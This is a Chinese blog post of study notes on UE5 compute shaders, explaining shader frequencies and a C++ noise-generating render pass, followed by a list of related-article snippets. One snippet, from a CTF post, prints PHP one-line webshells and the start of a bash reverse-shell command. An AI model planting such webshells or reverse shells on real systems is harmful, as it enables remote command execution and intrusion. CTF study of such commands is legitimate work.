UE5 Computer Shader学习笔记

首先这里是绑定.usf文件的路径,并声明是用声明着色器

上面就是对应的usf文件路径,在第一张图进行链接
Shader Frequency 的作用
Shader Frequency 是 Unreal Engine 中用于描述着色器类型和其执行阶段的分类。常见的 Shader Frequency 包括:
-
SF_Vertex:顶点着色器。 -
SF_Pixel:像素着色器(也称为片段着色器)。 -
SF_Geometry:几何着色器。 -
SF_Compute:计算着色器。 -
SF_RayGen:光线追踪着色器(用于光线追踪管线)。
SF_Compute 专门用于标识计算着色器,这是一种不直接参与图形渲染的着色器,而是用于通用计算任务(如 GPU 加速计算)。
使用场景:
1. SF_Vertex(顶点着色器)
作用:处理模型顶点数据,进行空间变换或顶点级计算。
使用场景:
-
顶点动画:
通过修改顶点位置实现动态效果,如旗帜飘动、水面波动、角色呼吸动画。 -
模型变形:
程序化调整顶点位置(如挤压、膨胀、扭曲效果)。 -
蒙皮网格(Skinned Mesh):
在骨骼动画中计算顶点最终位置。 -
顶点光照预计算:
对顶点法线进行初步光照计算(较少用,通常由像素着色器处理)。2. SF_Pixel(像素着色器/片段着色器)
作用:计算每个像素的最终颜色,处理光照、纹理、材质等。
使用场景: -
材质着色:
结合纹理采样、法线贴图、粗糙度等参数实现复杂表面效果(如金属、皮肤、布料)。
-
后处理效果:
屏幕空间效果(如景深、模糊、颜色分级、HDR)。 -
透明度与混合:
处理半透明材质(如玻璃、水、粒子效果)的Alpha混合。 -
复杂光照模型:
自定义光照计算(如卡通着色、次表面散射)3. SF_Geometry(几何着色器)
作用:在顶点和像素着色器之间动态生成或修改图元(如三角形、线段)。
使用场景: -
动态细分:
根据距离或LOD动态增加模型细节(如远处简化的地形近处细分)。 -
程序化几何生成:
从点数据生成复杂几何体(如毛发、草地、粒子轨迹)。 -
几何变形:
实时切割模型或生成爆炸碎片。 -
剔除优化:
根据条件剔除不可见图元。4. SF_Compute(计算着色器)
作用:通用GPU计算,不直接参与图形渲染管线,通过线程组并行处理数据。
使用场景: -
物理模拟:
大规模粒子系统、流体动力学、布料模拟(如 Niagara GPU 粒子)。 -
图像处理:
实时模糊、HDR 色调映射、屏幕空间反射/折射。 -
数据结构处理:
加速八叉树、BVH 构建(用于光线追踪)。 -
AI 推理:
在GPU上运行机器学习模型(如风格化滤镜)。5. SF_RayGen(光线生成着色器)
作用:光线追踪管线的起点,定义如何生成初始光线(如相机射线、阴影射线)。
使用场景: -
光线追踪反射/折射:
生成精确的镜面反射或透明材质光线。 -
全局光照(RTGI):
通过追踪间接光照路径实现真实漫反射。 -
阴影计算:
生成软阴影或复杂遮挡关系的光线。 -
体积效果:
模拟光线在雾、烟雾中的散射。总结与选择指南
着色器类型 适用场景 性能影响 硬件要求 SF_Vertex 顶点动画、模型变形、蒙皮网格 低 所有平台 SF_Pixel 材质、光照、后处理、透明度 中-高 所有平台 SF_Geometry 动态细分、程序化几何生成 高 桌面端/高端移动端 SF_Compute GPU计算、物理模拟、图像处理 可变 支持Compute Shader SF_RayGen 光线追踪反射、全局光照、复杂阴影 极高 RTX/AMD RDNA2+ 
- 当我在蓝图调用CreateNoise
- 流程如下:

- 首先在library中调用接口函数,这里会转到FNoiseSceneViewExtension里面

- 它会自动走到这个函数(自动调用)

- 然后调用GenerateNoise函数

- 上面的FGenerateNoiseCSShader是在这里进行绑定的,绑定了对应的文件路径和文件调用函数,这里调用GenerateNoiseCS.usf中的MainCS函数


- MainCS又会调用Noise函数,最后成像
-
ScreenPassTexture FNoiseSceneViewExtension::GenerateNoise(FRDGBuilder& GraphBuilder, const FSceneView& View, const FPostProcessMaterialInputs& Inputs) {const FScreenPassTexture& SceneColor = FScreenPassTexture::CopyFromSlice(GraphBuilder, Inputs.GetInput(EPostProcessMaterialInput::SceneColor));FGenerateNoiseCSShader::FParameters* Parameters = GraphBuilder.AllocParameters<FGenerateNoiseCSShader::FParameters>();//这里的FGenerateNoiseCSShaderFIntPoint ScreenSize = { SceneColor.ViewRect.Width(), SceneColor.ViewRect.Height() };FRDGTextureDesc OutputDesc = FRDGTextureDesc::Create2D( ScreenSize,SceneColor.Texture->Desc.Format, FClearValueBinding::Black, TexCreate_ShaderResource | TexCreate_UAV);FRDGTextureRef OutputTex = GraphBuilder.CreateTexture(OutputDesc, TEXT("Output Texture"));Parameters->Color = FVector4f(1.f, 0.f, 0.f, 1.f);const FSceneViewFamily& ViewFamily = *View.Family;ERHIFeatureLevel::Type FeatureLevel = View.GetFeatureLevel();FGlobalShaderMap* GobalShaderMap = GetGlobalShaderMap(FeatureLevel);TShaderMapRef<FGenerateNoiseCSShader> GenerateNoiseCSShader(GobalShaderMap);Parameters->ScreenDimensions = FVector2f(ScreenSize.X, ScreenSize.Y);Parameters->Output = GraphBuilder.CreateUAV(OutputTex);FIntPoint ThreadCount = ScreenSize;FIntPoint ThreadSize = FIntPoint(8, 8);FIntVector GroupCount = FComputeShaderUtils::GetGroupCount(ThreadCount, ThreadSize);FComputeShaderUtils::AddPass(GraphBuilder, RDG_EVENT_NAME("Generate Noise"),GenerateNoiseCSShader, Parameters, GroupCount);AddCopyTexturePass(GraphBuilder, OutputTex, SceneColor.Texture);return SceneColor; }首先第一行函数声明
-
参数:
-
GraphBuilder:RDG 的构建器,管理渲染资源的生命周期和依赖关系。 -
View:当前渲染的视图信息(如摄像机参数、视口尺寸)。 -
Inputs:后处理阶段输入数据(如场景颜色、深度纹理) -

从这里面获取到了场景颜色信息
拿的是Inputs也就是上面文字中,后期处理阶段的数据(例如场景颜色)
拿到了SceneColor
CopyFromSlice:创建纹理的副本,避免直接修改原始纹理(保证数据安全)

-
作用:为计算着色器
FGenerateNoiseCSShader分配参数内存。 -

注意观察,下面关于FGenerateNoiseCSShader的变量都是GenerateNosiseCS.usf里面的变量

之后都是给这三个参数赋值!

-
FRDGTextureDesc:定义纹理属性:-
Create2D:创建 2D 纹理。 -
SceneColor.Texture->Desc.Format:继承输入纹理的格式(如 PF_A16B16G16R16)。 -
TexCreate_ShaderResource | TexCreate_UAV:允许纹理作为 Shader Resource 和 UAV(Unordered Access View)使用。
-
-
GraphBuilder.CreateTexture:通过 RDG 创建纹理,确保资源依赖关系正确。 -
通过生成的纹理属性,创建贴图引用
-

给Parameters的Color参数赋值为红色

-
ViewFamily和FeatureLevel:获取当前视图的渲染层级(如 ES3.1、SM5、SM
-
GetGlobalShaderMap:获取全局着色器映射,用于加载计算着色器。 -

通过计算出的全局着色器映射创建hlsl实例脚本


获取到屏幕大小,以及通过创建的贴图引用构建出一个可读写的2D贴图纹理输出

-
ThreadCount:总线程数(等于屏幕分辨率,例如 1920x1080)。 -
ThreadSize:单个线程组的尺寸(8x8,需与 HLSL 中的[numthreads(8,8,1)]一致)。 -
FComputeShaderUtils::GetGroupCount:计算线程组数量(例如1920/8=240,1080/8=135)。 -
FComputeShaderUtils::AddPass:将计算着色器任务添加到 RDG,并命名事件为 "Generate Noise"。 -
生成需要的线程数,一个像素对应一个线程进行处理(GPU优势就是线程多,计算快!)

-
作用:将计算着色器的输出纹理
OutputTex复制回原始场景颜色纹理。 -
细节:
-
AddCopyTexturePass:通过 RDG 添加纹理复制任务,将OutputTex数据复制到SceneColor.Texture。

-
现在要将屏幕中的noise消除
这个TOptional是用来做什么的呢,其实最主要是用于非指针的类型,可以判断非指针类型是否为空,当然虚幻也可以用于指针,举例如下: -
当一个TMap内,判断是否为空(没有初值,但是TMap的int类型会默认赋初值为0,这个时候就没有办法判断是否值被更改过,因为可能传进来的值也有可能为0,这个时候TOptional就排上用场了,你将int包裹成TOptional<int>就可以了,如果有将值输入进去,你就能判断是否值被修改过,就能判断是否为空还是非空,从而方便之后的操作
-
第二,配置文件,当你输入了配置文件到TOptional里面,就可以判断非空,如果没有配置,那么就为空
-
这个使用场景还是很多的,合理使用,能够帮你减少很多麻烦
-

-
剩下就可以置空所有内容,就可以清除掉我们屏幕的效果啦!
相关文章:
UE5 Computer Shader学习笔记
首先这里是绑定.usf文件的路径,并声明是用声明着色器 上面就是对应的usf文件路径,在第一张图进行链接 Shader Frequency 的作用 Shader Frequency 是 Unreal Engine 中用于描述着色器类型和其执行阶段的分类。常见的 Shader Frequency 包括:…...
2.1部署logstash:9600
实验环境:关闭防火墙,完成java环境 yum -y install wget wget https://d6.injdk.cn/oraclejdk/8/jdk-8u341-linux-x64.rpm yum localinstall jdk-8u341-linux-x64.rpm -y java -version 1.安装logstash tar xf logstash-6.4.1.tar.gz -C /usr/local…...
SQL笔记#集合运算
目录 一、表的加减法 1、什么是集合运算 2、表的加法——UNION 3、集合运算的注意事项 4、包含重复行的集合运算——ALL运算 5、选取表中公共部分——INTERSECT 6、记录的减法——EXCEPT 二、联结(以列为单位对表进行联结) 1、什么是联结(JOIN) 2、内联结——INSER…...
多模态人物视频驱动技术回顾与业务应用
一种新的商品表现形态,内容几乎存在于手淘用户动线全流程,例如信息流种草内容、搜索消费决策内容、详情页种草内容等。通过低成本、高时效的AIGC内容生成能力,能够从供给端缓解内容生产成本高的问题,通过源源不断的低成本供给倒推…...
基于Matlab实现汽车远近光灯识别的详细步骤及代码示例
以下是一个基于Matlab实现汽车远近光灯识别的详细步骤及代码示例,主要通过图像处理技术来区分远光灯和近光灯。 整体思路 图像预处理:包括读取图像、灰度化、去噪等操作,以提高后续处理的准确性。边缘检测:找出图像中的边缘信息…...
多功能免费网络测速及问题诊断工具
软件介绍 在日常网络使用中,网络问题常常难以即时察觉,很多时候,只有当视频卡顿、网页加载半天没反应,乃至无法连接部分服务时,我们才惊觉网络出状况了。 这里有一款免费工具,专为家庭、办公以及跨国网…...
【算法设计与分析】(一)介绍算法与复杂度分析
【算法设计与分析】(一)介绍算法与复杂度分析 前言一、什么是算法?二、算法的抽象机制三、描述算法四、复杂度分析4.1 时间复杂度4.2 空间复杂度 前言 从搜索引擎的高效检索,到推荐系统的个性化推荐,再到人工智能领域…...
HTML5特殊字符
HTML中常用的特殊符号一般都以“&”开头,以“;”结束。...
使用python接入腾讯云DeepSeek
本文主要从提供SSE方式接入DeepSeek,并通过fastapi websocket对外提供接入方法。 参考文档: 腾讯云大模型:https://cloud.tencent.com/document/product/1759/109380 fastAPI官网:https://fastapi.tiangolo.com/ WebSocketManager…...
6.3 - UART串口数据发送之中断
文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验使用中断方式实现UART串口数据的连续发送。 2 系统框图 参见6.1。 3 软件设计 注意事项: 系统上电、程序下载后,此时TX FIFO虽然为空,但并不会触发空中断;空中断…...
无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。
eplan生成更新列表后报错,报错内容如下: 无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。针对 64 位版本的EPLAN平台需要使用64 位版本的Microsoft Office。 原因:eplan的列表更新需要64位的微软办公软件版本支…...
将CUBE或3DL LUT转换为PNG图像
概述 在大部分情况下,LUT 文件通常为 CUBE 或 3DL 格式。但是我们在 OpenGL Shader 中使用的LUT,通常是图像格式的 LUT 文件。下面,我将教大家如何将这些文件转换为 PNG 图像格式。 条形LUT在线转换(不是8x8网络)&am…...
C语言(13)------------>do-while循环
1.do-while循环的语法 我们知道C语言有三大结构,顺序、选择、循环。我们可以使用while循环、for循环、do-while循环实现循环结构。之前的博客中提及到了前两者的技术实现。可以参考: C语言(11)------------->while循…...
FS800DTU联动OneNET平台数据可视化View
目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…...
Linux 第三次脚本作业
源码编译安装httpd 2.4,提供系统服务管理脚本并测试(建议两种方法实现) 一、第一种方法 1、把 httpd-2.4.63.tar.gz 这个安装包上传到你的试验机上 2、 安装编译工具 (俺之前已经装好了) 3、解压httpd包 4、解压后的httpd包的文…...
[数据结构笔记]数据结构必要的C语言基础
数据结构必要的C语言基础 使用C语言学习数据结构之前有一些必要了解的基础,许多同学在初学数据结构时因为对这些知识不熟,导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言 结构体与指针 在一些场景中,如果传递给函…...
CTF常用shell语句整理(webshell、反弹shell)
Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行:访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...
数据结构笔记——06树和二叉树
文章目录 一、树的基本概念1.树的定义2.树的逻辑表示方法3.树的基本术语4.树的性质5.树的基本运算6.树的存储结构1)双亲存储结构2)孩子链存储结构3)孩子兄弟链存储结构 二、二叉树的概念和性质1.二叉树的定义2.二叉树的性质3.二叉树与树、森林之间的转换1)森林、树转换为二叉树…...
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推 ①康冠科技 【职位】算法、软件、硬件、技术,结构设计,供应链,产品,职能,商务 【…...
蓝桥杯之日期题
文章目录 1.蓝桥杯必备知识点2. 题型13.需求2 1.蓝桥杯必备知识点 蓝桥杯是一个面向全国高校计算机相关专业学生的学科竞赛,涵盖多个赛道,常见的有软件类(如 C/C 程序设计、Java 软件开发、Python 程序设计)和电子类(…...
大模型在尿潴留风险预测及围手术期方案制定中的应用研究
目录 一、引言 1.1 研究背景与意义 1.2 研究目的 1.3 研究方法与数据来源 二、大模型预测尿潴留的原理与方法 2.1 相关大模型介绍 2.2 模型构建与训练 2.3 模型评估指标与验证 三、术前尿潴留风险预测及方案制定 3.1 术前风险因素分析 3.2 大模型预测结果分析 3.3 …...
PV Elite 27是专业的压力容器和热交换器设计解决方案
Intergraph PV Elite 27是专业的压力容器和热交换器设计解决方案。提供完整的容器和热交换器的设计,分析和评估解决方案。提供的完整的容器设计和分析、交换器设计和分析、管板设计和分析、矩形和非圆形容器分析、单个组件分析、综合误差检查、鞍座/支腿/吊耳/耳轴和…...
Visual Studio 中的 /MD 与 /MT、动态库与静态库的深入解析
文章目录 1. /MD 与 /MT 的区别1.3 调试版本1.4 注意事项 2. 动态库与静态库的联系与区别2.3 联系与区别 3. 结合你的错误分析3.1 错误原因3.2 解决方案3.3 经验教训 4. 总结 在 Visual Studio 中进行 C/C 项目开发时,开发者经常需要对运行时库选项(例如…...
QT入门--QMainWindow
从上向下依次是菜单栏,工具栏,铆接部件(浮动窗口),状态栏,中心部件 菜单栏 创建菜单栏 QMenuBar* mybar1 menuBar(); 将菜单栏放到窗口中 setMenuBar(mybar1); 创建菜单 QMenu *myfilemenu mybar1-…...
深圳南柯电子|医疗设备EMC测试整改检测:零到一,保障医疗安全
在当今医疗科技飞速发展的时代,医疗设备的电磁兼容性(EMC)已成为确保其安全、有效运行的关键要素之一。EMC测试整改检测不仅关乎设备的性能稳定性,更是保障患者安全、避免电磁干扰引发医疗事故的重要措施。 一、医疗设备EMC测试整…...
【链 表】
【链表】 一级目录1. 基本概念2. 算法分析2.1 时间复杂度2.2 空间复杂度2.3 时空复杂度互换 线性表的概念线性表的举例顺序表的基本概念顺序表的基本操作1. 初始化2. 插入操作3. 删除操作4. 查找操作5. 遍历操作 顺序表的优缺点总结优点缺点 树形结构图形结构单链表基本概念链表…...
排序算法归类整理对比
以下是常见排序算法的详细分类和解析,涵盖原理、时间复杂度及适用场景: 一、比较排序算法 1. 快速排序(Quick Sort) 原理:分治策略,选取基准元素(pivot),将数组分为小于…...
前端项目部署阻止用户打开控制台
需求:在前端开发过程中,会遇到生产坏境不让用户打开控制台,防止不法分子虚假信息操作。 废话不多说一共两步,添加我们的js方法,和在全局使用这个方法。 第一步:添加我的js文件: //禁用开发者…...
一周学会Flask3 Python Web开发-Jinja2模板过滤器使用
锋哥原创的Flask3 Python Web开发 Flask3视频教程: 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 在Jinja2中,过滤器(filter)是一些可以用来修改和过滤变量值的特殊函数,过滤器和变量用一个竖线 | &a…...
【STM32H743IIT6】STM32H7的ADC时钟频率设置问题 —— 网上大多文章未注意到的要点!
前言 我使用的是定时器触发ADC采样。最近在想达到ADC的最高采样率的时候,发现一直却卡在1Msps上不去,直到在硬汉嵌入式的论坛里才发现了答案:[ADC] STM32H743/H750的Y版和V版芯片ADC的主频区别 这篇文章就详细的讲一下这个问题,这…...
